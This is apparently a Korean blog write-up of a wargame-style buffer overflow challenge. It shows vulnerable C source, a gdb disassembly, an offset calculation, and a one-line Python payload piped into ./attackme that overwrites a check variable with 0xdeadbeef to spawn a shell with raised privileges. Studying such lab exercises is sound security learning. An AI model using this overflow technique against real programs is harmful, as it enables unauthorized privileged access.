2017. 11. 27. 23:35ㆍ0x04 pwnable
#include <stdio.h>
#include <unistd.h>
main()
{
int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
// buf 채운 뒤 0xdeadbeef 해야 한다.
if(check == 0xdeadbeef) // vuln
{
setreuid(3095,3095);
system("/bin/sh");
}
return 0;
}
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef // checking
0x080484b4 <main+36>: jne 0x80484db <main+75>
0x080484b6 <main+38>: sub esp,0x8
0x080484b9 <main+41>: push 0xc17
0x080484be <main+46>: push 0xc17
0x080484c3 <main+51>: call 0x8048380 <setreuid>
0x080484c8 <main+56>: add esp,0x10
0x080484cb <main+59>: sub esp,0xc
0x080484ce <main+62>: push 0x8048548
0x080484d3 <main+67>: call 0x8048340 <system>
0x080484d8 <main+72>: add esp,0x10
0x080484db <main+75>: leave
0x080484dc <main+76>: ret
0x080484dd <main+77>: lea esi,[esi]
End of assembler dump.
[ebp-56]~[ebp-16]까지 거리 40
(python -c 'print "\x90"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme
'0x04 pwnable' 카테고리의 다른 글
ASLR 적용 된 바이너리 ASLR 해제하기 2~ (0) | 2017.12.06 |
---|---|
ASLR 적용 된 바이너리 ASLR 해제하기~ (0) | 2017.12.06 |
rtl 공부 2 (0) | 2017.11.27 |
rtl 공부 (0) | 2017.11.27 |
Main HEAP and Thread HEAP (0) | 2017.10.30 |